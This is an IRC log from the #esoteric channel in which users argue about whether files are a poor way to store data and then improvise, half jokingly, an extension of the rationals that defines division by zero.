:alise!unknown@unknown.invalid PRIVMSG #esoteric :I posted it because I felt like it. < 1267567933 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps somebody would be converted. < 1267567937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Sure. < 1267567977 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'll only explain the design in #usys because it'll be bad enough dealing with one set of stupid questions (I am a lovely and compassionate person) < 1267567978 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :If you have any desire to convert anybody, you'll have to write something a hell of a lot more compelling. I have no idea if the actual concepts you espouse are flawed, because I can't find them, I can only find your complaints about files, most of which seem to me to be unfounded and shortsighted. < 1267567995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Just like your mom < 1267568003 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"Author does not appear to have defined a reduction for *[a b], which appears to render much of the post meaningless. Too much raw pork & opium?" < 1267568100 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and, most data I need to store tends to form a tree. Even photos. It goes like panoramas//{output/final.tiff,{raw,intermediate}//} < 1267568116 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so store it in an ordered list < 1267568126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, the last part, sure, that could work for it < 1267568133 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the previous parts form a neat tree < 1267568135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and so store it as a tree-like structure < 1267568150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but if trees containing strings are so good, why don't you program in them? < 1267568157 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Why do you use data structures, types, depending on the need? < 1267568164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but then, why should I have to bother about data types. Which way is fastest for me to do it in? < 1267568181 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, what, you don't like C and Erlang? They have data structures, you know. < 1267568196 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I don't feel a need to program my file system < 1267568203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, I don't see it as a programming language < 1267568216 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Your data structures in your program are the exact same kind of data as on a filesystem. < 1267568224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in some ways yes < 1267568230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In fact I really should heed my realisation that this is fruitless and stop talking. < 1267568231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but what about taking notes on paper < 1267568238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :do you organise it in data types there? < 1267568244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or do you just write it down < 1267568244 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>_< < 1267568245 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You're an idiot. < 1267568261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no, the analogy is just as bad as your one < 1267568266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, okay, it is a parody of your < 1267568270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so somewhat worse < 1267568273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If writing to paper involved taking all the things you're going to talk about and organising them into one, single-d alphabet with little relation to the actual semantics... sure. < 1267568274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not much though < 1267568287 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Do you convert a mathematical formula before writing it down? No, you just write it down. < 1267568288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no I meant, writing down notes during a lecture < 1267568290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is structured. < 1267568363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yes, but hardly in the way you suggest < 1267568369 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now I'm going to sleep < 1267568371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night → < 1267568381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Thank god, the tedium is over. < 1267568399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should have stuck to keeping everything about the OS private, but that just resulted in "hur where's your os mr project b slo". < 1267568412 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Eh, just write some code. :P < 1267568454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :To do what? Until I can answer that question it is hopeless. < 1267568717 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I do have a general idea how the system should be structured < 1267568724 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :s/ $/, though./ < 1267568765 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1267569833 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267569993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I need to write Why Files Suck 2: Electric Boogaloo^W^WThe Better System < 1267570082 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267570130 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :do it < 1267570139 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, too much work. < 1267570201 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267570235 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :well, don't write it, just sketch it out < 1267570268 0 :tombom_!unknown@unknown.invalid QUIT :Quit: Leaving < 1267570488 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Meh. I'd prefer to work on the actual system. < 1267570546 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :then do that < 1267570648 0 :Asztal!~asztal@host86-156-193-24.range86-156.btcentralplus.com JOIN :#esoteric < 1267570719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am. Sort of. < 1267570752 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1267570753 0 :Azstal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267570950 0 :Azstal!~asztal@host86-159-107-222.range86-159.btcentralplus.com JOIN :#esoteric < 1267571077 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267571337 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267571411 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267571423 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : I started defining an extension of the rationals with n/0, then I ended up having to define 0/n as special too. Now I'm having to define 0 =/= -0. < 1267571437 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :have you looked at wp:Wheel Theory ? < 1267571439 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :NULLITY < 1267571455 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(essentially the same as nullity, but sane) < 1267571506 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :iirc about that nullity thing and it's 0/0 != 0/0 < 1267571511 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*its < 1267571553 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although i _think_ it has only 0/0 and 1/0 for the rationals < 1267571671 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/it/wheel theory/ < 1267571789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I assume they satisfy 0*(n/0) = n. < 1267571802 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : I want to learn an esolang that's fun and makes programming a challenge. Any suggestions? < 1267571813 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no one seems to have mentioned unlambda yet < 1267571851 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: i guess it's all in what algebraic properties you preserve and which you discard < 1267571989 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yours is going to break at least one of associativity and commutativity i think < 1267572046 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :0*0 = 0 => n = 0*(n/0) = 0*0*(n/0) = 0*n = 0 < 1267572070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0*n =/= 0 in general < 1267572085 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :even for n an ordinary rational? < 1267572088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in fact there is no real one "0" < 1267572095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :although 0/1 is usually what you think of < 1267572097 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there's 0/n for all n < 1267572100 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1267572107 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/0 is special though... and behaves rather erratically < 1267572167 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well something's going to be < 1267572190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, and 0/n != 0 < 1267572208 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because (n/0)^-1 = 1/(n/0) = 0/n and so (0/n)*(n/0) = 1 < 1267572210 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm i guess that's obvious < 1267572240 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I determined, I think using regular rational addition, that (m/0)+n = (m+n)/0, also < 1267572264 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :When you start doing things like (3/0)/(0/0)*(0/3), though, I have no fucking clue what the result is < 1267572285 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that sounds like one of the wheel theory axioms < 1267572323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I derived it :P < 1267572348 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm not quite < 1267572406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if (x/0) exists then (x/0)^-1 exists. n^-1 = 1/n. 1/(x/y) = y/x. x*(1/x) = 1. therefore (x/0)^-1 = 0/x, and (0/x)*(x/0) = 1 < 1267572456 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :what is this about (x/0) existing? < 1267572476 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if that's associative and commutative, then everything having an inverse forms a group < 1267572478 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hahah < 1267572507 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gracenotes: Step 1. Define x/0 to work. Step 2. Find a contradiction. Step 3. Mess with shit until it works. Step 4. Go to step 2. < 1267572533 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and if you ever end up messing with shit so that 0 =/= -0, you lose. Mess with some other shit. < 1267572542 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :so what is the shit you've messed with < 1267572563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well... < 1267572568 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :ℝ \ {0} is a group btw :o < 1267572569 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We'll do it in terms of multiplicative inverse. < 1267572589 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0^-1 = 1/0 < 1267572600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(1/0)*0 = 1 < 1267572613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(n/0)^-1 = 1/(n/0) = 0/n < 1267572619 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/n)*(n/0) = 1 < 1267572634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :((use the definition of rational addition here to derive:)) < 1267572645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(m/0)+n = (m+n)/0 < 1267572653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And so on. < 1267572788 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'll leave oerjan to find the next contradiction :P < 1267572808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and n*(0/n) = 0. Obviously. < 1267572819 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise it wouldn't be division, would it? :P < 1267572853 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :n*(0/n) = 0, 0*(n/0) = n. Plugging in n=0, we get overwhelming support in favour of 0*(0/0) = 0. < 1267572866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Since we have 0/n for every other n, we have 0/0 too. < 1267572870 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I forget exactly how it's special. < 1267572891 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i cannot deduce contradictions without axioms < 1267572892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/0)^-1 = 1/(0/0) = 0/0 < 1267572897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so (0/0)*(0/0) = 1 < 1267572905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Infer them sucka :P < 1267572927 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i am going to assume that multiplication is an abelian group < 1267572937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, that gives you 0/0 = 1, pretty trivially. < 1267572944 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm yeah < 1267572945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But that breaks things so ssssh < 1267572949 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267572950 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(I think it does, at least.) < 1267572957 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I haven't found any breakage < 1267572961 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so feel free to assume 0/0 = 1 :P < 1267572961 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well then i found one didn't i >:) < 1267572979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also when I say an integer I mean n/1. < 1267572985 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Obviously. Anything else would be ridiculous. < 1267573023 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :is 0 + x = x ? < 1267573039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which 0 do you mean? 0/1? < 1267573047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/n>1? < 1267573052 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267573058 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The 0/ns aren't really 0, though. < 1267573082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/n)*(n/0) = 1, whereas (0/1)*(1/0) = 1... er... okay. < 1267573088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But they aren't 0, so there. < 1267573093 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They're some weird fractional 0. < 1267573099 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :x/y = x*(1/y) ? < 1267573102 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 + x = x, sure. < 1267573111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Yes; I've defined all this in terms of multiplicative inverse. < 1267573125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, no additive inverse. Too Complicated For My Poor Brain. < 1267573135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(You get 0 =/= -0 pretty easily) < 1267573136 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :0/0 = everything, obviously < 1267573147 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/0 = 1, actually. Has to be in this system. < 1267573165 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1/(n/0) = 0/n, (0/n)*(n/0) = 1 < 1267573176 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so 1/(0/0) = 0/0, and (0/0)*(0/0) = 1 < 1267573179 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and 0*(0/0) = 0 < 1267573183 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so it's 1 < 1267573190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: remember, 0*x =/= 0 all the time in this < 1267573226 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :except for x = 1, i assume < 1267573246 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/1)*(1/1) = 0, yes. < 1267573252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But (0/0)*(1/1) = no fucking clue. < 1267573262 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er, wait < 1267573264 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's 1*1 < 1267573273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/0)*(1/1) = (1/1)*(1/1) = 1/1 < 1267573280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/2)*(1/1) = beats me < 1267573294 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i've seen nothing so far to disprove that multiplication is an abelian group (with 1 as identity) < 1267573309 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i ended up having multiple multiplicative or additive identities iirc at one point < 1267573313 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which means the latter is 0/2 < 1267573315 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and broke stuff trying to fix that < 1267573330 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: it's an abelian group on ℝ\{0} < 1267573338 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gracenotes: shut up :D < 1267573372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also this is based on the rationals not the reals just so i have convenient notation < 1267573382 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and as soon as my brain sees 0/pi it freezes up < 1267573400 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :continued fractions, man < 1267573409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :man, man < 1267573410 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :ℚ\{0} too < 1267573438 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(1/0)/(((0/2)+(3/0))*(1/3)) < 1267573441 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that x/0 + y = (x+y)/0 looks weird, though < 1267573468 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :yeah, especially if you multiply by 0. oh wait < 1267573469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'll repeat my derivation < 1267573511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(a/1)+(c/0)=(a0 + 1c)/(1*0) < 1267573519 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(a/1)+(c/0)=(0 + c)/0 < 1267573521 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wait what? < 1267573571 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok only the denominator matters < 1267573579 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(_/x)+(y/0) = (x*y)/0 < 1267573590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no idea what +(0/n) does for n>1 < 1267573601 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Who pinged me? < 1267573605 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :me doesn't matter now < 1267573622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(a/b)+(0/d) = (ad + b0)/bd < 1267573627 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(a/b)+(0/d) = ad/bd < 1267573635 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is going to try tryruby again
< 1267573643 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's down < 1267573645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why is gone < 1267573667 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo__: it's a squatted domain afaict < 1267573674 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so (1/2)+(0/3) = 3/6 < 1267573680 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Unless it's on a delayed disappearance scheme that triggered hours ago, it should be around < 1267573683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric := 1/2 < 1267573684 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :I was on it hours ago < 1267573689 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1267573694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo__: ? no you weren't < 1267573695 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :tryruby.org < 1267573698 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tryruby died along with why < 1267573704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh i see, a mirror < 1267573723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267573726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :recreated from the ground up apparently < 1267573736 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :reusing the design strikes me as bad taste < 1267573740 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :With a strangely working backspace < 1267573745 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ruby sucks anyway < 1267573757 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: so I think x+(0/n) = x < 1267573769 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for all n apart from 0, in which case it's x+(1/1) < 1267573785 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: that sounds correc < 1267573788 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*correct < 1267573788 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Howso? < 1267573799 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: hm that may mean i remembered correctly that someone from tryruby wanted to consolidate things with tryhaskell when the latter was announced < 1267573799 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Of course, when I'm deriving all this I'm assuming the other party isn't a weird 0-fraction monster. < 1267573803 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now go work out what (m/0)+(0/n) is < 1267573888 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: if m is not 0, it's undefined still < 1267573911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No undefined, coppro. < 1267573915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We don't accept undefined. < 1267573940 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Well you haven't defined m/0 where m != 0 yet < 1267573947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I have. < 1267573961 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[23:29] alise: 0^-1 = 1/0 < 1267573962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[23:29] alise: (1/0)*0 = 1 < 1267573962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[23:29] alise: (n/0)^-1 = 1/(n/0) = 0/n < 1267573962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[23:29] alise: (0/n)*(n/0) = 1 < 1267573972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :m/0 is the fraction m/0. Rationals. < 1267573979 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :none of those provides an actual definition though < 1267573982 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :merely an identity < 1267573992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what is the definition of the rational 1/2? < 1267574001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :things are their properties and relations < 1267574013 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :if you accept m/0 as a number in and of itself < 1267574027 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if you accept 1/2 as a number in and of itself < 1267574034 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :0.5 < 1267574041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's a decimal representation of the rational 1/2 < 1267574044 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :he doesn't need to define stuff. just take the free algebra of his operations and quotient by whatever equations still hold < 1267574044 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :then m/0 + 0/n is m/0 for non-zero n, and m/0 + 1 for n=0 < 1267574045 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you fail < 1267574045 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :alise, how does Ruby suck? < 1267574060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo__: "Let me count the ways. Uh, I've run out of tendrils." < 1267574080 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :to alise, every language sucks in too many ways < 1267574084 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :I can count ways that the current tryruby sucks < 1267574139 0 :Asztal!~asztal@host86-156-99-206.range86-156.btcentralplus.com JOIN :#esoteric < 1267574157 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :1) Wonky backspace. 2) Incorrectly interpreted a test as me completing the lesson < 1267574158 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: you do know what the rationals are right? < 1267574179 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes. < 1267574196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then you accept 1/2 as a number in and of itself, as opposed to "evaluating to 0.5" < 1267574197 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: is m*n the usual value for every nonzero integer m, n ? < 1267574211 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: I do. < 1267574211 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :similarly, n/0 for all n>0 and 0/n for all n>0. < 1267574219 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :n/0 is not a rational < 1267574224 0 :Azstal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267574229 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: It's a weirdtional. I'm defining an extension of the rationals. < 1267574241 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Rephrase please? < 1267574242 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok. In that case, I answered your question < 1267574245 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :[16:53:40] then m/0 + 0/n is m/0 for non-zero n, and m/0 + 1 for n=0 < 1267574265 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: you are completely failing to understand the spirit of this thing. it may be a stupid thing but that is no reason for interpreting it even more stupidly than intended < 1267574271 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Guys. < 1267574295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of course it is stupid ;) < 1267574296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*:) < 1267574305 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: is (m/1)*(n/1) = (mn/1) for m, n ordinary nonzero integers? < 1267574308 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I just made a cool program in Befunge. :) < 1267574308 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/850853 < 1267574320 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Yes, purely rational calculations are still rational. < 1267574322 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :where the mn multiplication is ordinary integer multiplication < 1267574333 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ones involving 0-fractions are surely irrational and insane to the highest degree. < 1267574334 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :actually, I just realized something < 1267574343 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: except multiplication by 0 < 1267574357 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :division of 0 cannot be considered to equal 0 in all cases < 1267574359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Only if you involve a 0-fraction < 1267574366 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/1)*normal = 0/1 < 1267574371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/2 too I think < 1267574374 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :except = 0/2 < 1267574374 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you have to have separate zeroes for each 0/n < 1267574379 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er wait has to be 0/1 < 1267574388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no it doesn't < 1267574388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/2 < 1267574390 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Who likes it? < 1267574404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: what? < 1267574461 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: argh. (0/1)*normal = 0/1 violates my hypothesis that it's an abelian group :( < 1267574481 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :wait, does (m/0)*0 = m? < 1267574493 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267574497 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: what should it be? < 1267574506 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok, never mind then < 1267574525 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :then I go by my previous answer < 